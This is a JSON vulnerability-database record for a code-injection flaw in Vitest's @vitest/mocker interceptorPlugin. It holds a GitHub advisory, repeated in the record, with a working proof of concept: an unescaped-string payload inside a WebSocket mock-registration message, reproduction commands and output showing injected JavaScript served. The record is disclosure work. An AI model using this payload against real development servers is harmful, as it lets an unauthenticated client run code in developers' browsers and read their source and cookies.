{"id":"CVE-2026-112949","aliases":["CLSA-2026-1793114894","CLSA-2026-1793115217","CLSA-2026-1793811643","EUVD-2026-105148","GHSA-qxg6-89mg-rqv8"],"status":"published","title":"Vitest: Code injection via unauthenticated manual mock registration","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","severity":{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00336,"percentile":0.2734,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116","CWE-306","CWE-94"],"published":"2026-10-20T15:19:03Z","modified":"2026-11-04T19:00:40Z","fixes":[{"ecosystem":"npm","package":"@vitest/mocker","fixed_in":["4.1.12","5.0.3"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"@vitest/mocker","fixed_in":["3.2.4-tuxcare.5","4.0.18-tuxcare.5"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"vitest","fixed_in":["2.1.9-tuxcare.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0-beta.7"},{"fixed":"4.1.12"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0-beta.1"},{"fixed":"5.0.3"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.4-tuxcare.0"},{"fixed":"3.2.4-tuxcare.5"}]}],"versions":["3.2.4","3.2.4-tuxcare.1","3.2.4-tuxcare.2","3.2.4-tuxcare.3","3.2.4-tuxcare.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@vitest/mocker","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.18-tuxcare.0"},{"fixed":"4.0.18-tuxcare.5"}]}],"versions":["4.0.18","4.0.18-tuxcare.1","4.0.18-tuxcare.2","4.0.18-tuxcare.3","4.0.18-tuxcare.4"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vitest","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.9-tuxcare.0"},{"fixed":"2.1.9-tuxcare.2"}]}],"versions":["2.1.9","2.1.9-tuxcare.1"]},{"source":"osv","ecosystem":"npm","package":"@vitest/mocker","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0-beta.7"},{"fixed":"4.1.12"}]}]},{"source":"osv","ecosystem":"npm","package":"@vitest/mocker","ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0-beta.1"},{"fixed":"5.0.3"}]}]}],"products":[{"vendor":"@vitest","product":"mocker"},{"vendor":"vitest-dev","product":"vitest"}],"references":[{"url":"https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v4.1.12","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/vitest-dev/vitest/releases/tag/v5.0.3","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112949","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qxg6-89mg-rqv8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112949.json","tags":["advisory"]},{"url":"https://github.com/vitest-dev/vitest","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-112949","title":"Vitest: Code injection via unauthenticated manual mock registration","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","status":"published","published":"2026-10-20T15:19:03.799Z","modified":"2026-10-23T01:42:51.858Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-94","CWE-116","CWE-306"],"updated_at":"2026-11-02T13:44:51.734189Z"}],"euvd":[{"id":"EUVD-2026-105148","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","status":"published","published":"2026-10-20T15:19:03Z","modified":"2026-10-23T01:42:51Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:59:33.524592Z"}],"ghsa":[{"id":"GHSA-qxg6-89mg-rqv8","title":"Vitest: Code injection via unauthenticated manual mock registration","description":"### Summary\n\n`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '\"__vitest_mocker__\"'): string {\n  const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n  if (options.registerWebSocketEvents === false) { return }\n  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) =\u003e {\n    if (event.type === 'manual') {\n      const module = ManualMockedModule.fromJSON(event, async () =\u003e {\n        const keys = await getFactoryExports(event.url)\n        return Object.fromEntries(keys.map(key =\u003e [key, null]))\n      })\n      registry.add(module)                       // no validation of `id` or `url`\n    }\n    else {\n      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = 'x\"); globalThis.ARES_INJECTED = 1; void(\"'` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest \u0026\u0026 cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install \u0026\u0026 pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from '@vitest/mocker/node'\nexport default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://\u003chost\u003e:\u003cport\u003e/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n  \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"\u003cabs path of a served module\u003e\",\n            \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server's `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"\u003csame url\u003e\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400\nPASS  negative control: with no mock registered the real module is served\nPASS  negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n    const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n    let __0 = __factoryModule__[\"a\"]\n    export { __0 as \"a\" }\n    if (__factoryModule__.__factoryPromise != null) {\n      __factoryModule__.__factoryPromise.then((resolvedModule) =\u003e {\n        __0 = resolvedModule[\"a\"];\n      })\n    }\nPASS  attacker statement is present in the module the dev server serves\nPASS  the real module body was replaced\nPASS  the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** — the two `Origin` probes record the boundary honestly.\n* Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.","status":"published","published":"2026-10-21T19:54:26Z","modified":"2026-10-21T19:54:27Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-94","CWE-116","CWE-306"],"updated_at":"2026-11-02T14:41:34.690842Z"}],"nvd":[{"id":"CVE-2026-112949","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","status":"published","published":"2026-10-20T16:17:05.66Z","modified":"2026-10-23T02:16:54.907Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-94","CWE-116","CWE-306"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-112949","title":"Vitest: Code injection via unauthenticated manual mock registration","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 2.1.0-beta.7 until 4.1.12 and 5.0.3, an unauthenticated non-browser WebSocket client that can reach a development server using interceptorPlugin can register a manual mock whose attacker-controlled url createManualModuleSource inserts unescaped into generated module source. When the developer browser loads the affected module, attacker-controlled JavaScript executes on the development-server origin. This issue is fixed in versions 4.1.12 and 5.0.3.","status":"published","published":"2026-10-20T15:19:03.799Z","modified":"2026-11-11T10:47:24.161418556Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-116","CWE-306","CWE-94"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-qxg6-89mg-rqv8","title":"Vitest: Code injection via unauthenticated manual mock registration","description":"### Summary\n\n`@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '\"__vitest_mocker__\"'): string {\n  const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n  if (options.registerWebSocketEvents === false) { return }\n  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) =\u003e {\n    if (event.type === 'manual') {\n      const module = ManualMockedModule.fromJSON(event, async () =\u003e {\n        const keys = await getFactoryExports(event.url)\n        return Object.fromEntries(keys.map(key =\u003e [key, null]))\n      })\n      registry.add(module)                       // no validation of `id` or `url`\n    }\n    else {\n      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = 'x\"); globalThis.ARES_INJECTED = 1; void(\"'` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest \u0026\u0026 cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install \u0026\u0026 pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from '@vitest/mocker/node'\nexport default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://\u003chost\u003e:\u003cport\u003e/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n  \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"\u003cabs path of a served module\u003e\",\n            \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server's `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"\u003csame url\u003e\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400\nPASS  negative control: with no mock registered the real module is served\nPASS  negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n    const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n    let __0 = __factoryModule__[\"a\"]\n    export { __0 as \"a\" }\n    if (__factoryModule__.__factoryPromise != null) {\n      __factoryModule__.__factoryPromise.then((resolvedModule) =\u003e {\n        __0 = resolvedModule[\"a\"];\n      })\n    }\nPASS  attacker statement is present in the module the dev server serves\nPASS  the real module body was replaced\nPASS  the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** — the two `Origin` probes record the boundary honestly.\n* Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.","status":"published","published":"2026-10-21T19:54:26Z","modified":"2026-10-21T20:01:39.911013327Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-116","CWE-306","CWE-94"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"CLSA-2026-1793114894","title":"TuxCare security update for @vitest/mocker (1 CVE)","description":"TuxCare rebuilt @vitest/mocker to address 1 CVE. Fixed in 3.2.4-tuxcare.5.","status":"published","published":"2026-10-27T15:28:14Z","modified":"2026-10-27T19:30:06.637715163Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793115217","title":"TuxCare security update for @vitest/mocker (1 CVE)","description":"TuxCare rebuilt @vitest/mocker to address 1 CVE. Fixed in 4.0.18-tuxcare.5.","status":"published","published":"2026-10-27T15:33:37Z","modified":"2026-10-27T19:30:07.24595477Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793811643","title":"TuxCare security update for vitest (1 CVE)","description":"TuxCare rebuilt vitest to address 1 CVE. Fixed in 2.1.9-tuxcare.2.","status":"published","published":"2026-11-04T18:00:44Z","modified":"2026-11-04T19:00:40.100060559Z","updated_at":"2026-11-04T19:15:03.6858Z"}]}}